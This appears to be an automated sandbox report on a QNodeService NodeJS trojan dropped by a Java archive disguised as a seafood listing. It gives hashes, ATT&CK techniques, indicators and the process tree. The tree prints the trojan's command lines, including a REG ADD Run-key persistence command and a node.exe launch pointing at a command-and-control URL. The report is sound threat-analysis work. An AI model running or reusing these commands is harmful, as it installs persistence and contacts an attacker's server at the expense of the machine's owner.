qnodeservice | c79fac5b4dac72d91fca7d4b8ac2c6a01182f785765135b7a237530cdc6cbffa

General

Target

frozen Fish, Shirmp,Pacific mackerel,Sardine,Round scad,lllex Squidetc.jar
Size

12KB
MD5

4420ae767b10155e152a90ea65cc661e
SHA1

2a9878979c046b48b8d19c051a9b09295baa604b
SHA256

c79fac5b4dac72d91fca7d4b8ac2c6a01182f785765135b7a237530cdc6cbffa
SHA512

911e067cffd455d5ad35225957c3cc2a3931ed389fe949a8c2a1041dfe98a3c71d08e4c1677624af89fd3120b37074f045372ada9ba5e19bf866b6800f179611

Score

10^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3104 wrote to memory of 572	3104	java.exe	68
PID 3104 wrote to memory of 572	3104	java.exe	68
PID 572 wrote to memory of 1012	572	node.exe	69
PID 572 wrote to memory of 1012	572	node.exe	69
PID 1012 wrote to memory of 952	1012	cmd.exe	70
PID 1012 wrote to memory of 952	1012	cmd.exe	70
PID 572 wrote to memory of 1188	572	node.exe	71
PID 572 wrote to memory of 1188	572	node.exe	71

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-67922880 = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-67922880.cmd\""	reg.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	wtfismyip.com
13	wtfismyip.com

Executes dropped EXE 2 IoCs

pid	Process
572	node.exe
1188	node.exe

Loads dropped DLL 4 IoCs

pid	Process
1188	node.exe
1188	node.exe
1188	node.exe
1188	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1188	node.exe
1188	node.exe

JavaScript code in executable 2 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adaa-115.dat	js
behavioral2/files/0x000100000001adaa-122.dat	js

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bfeb-118.dat	family_qnodeservice

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\frozen Fish, Shirmp,Pacific mackerel,Sardine,Round scad,lllex Squidetc.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://baram11775.dyn.home-webserver.de
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-67922880" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-67922880.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1012
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-67922880" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-67922880.cmd\""
      4⤵
      Adds Run key to start application
      PID:952
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://baram11775.dyn.home-webserver.de
    3⤵
    - Checks processor information in registry
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:1188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/572-117-0x000003B49B640000-0x000003B49B641000-memory.dmp

Filesize
4KB

Download
memory/1188-123-0x000003F016140000-0x000003F016141000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing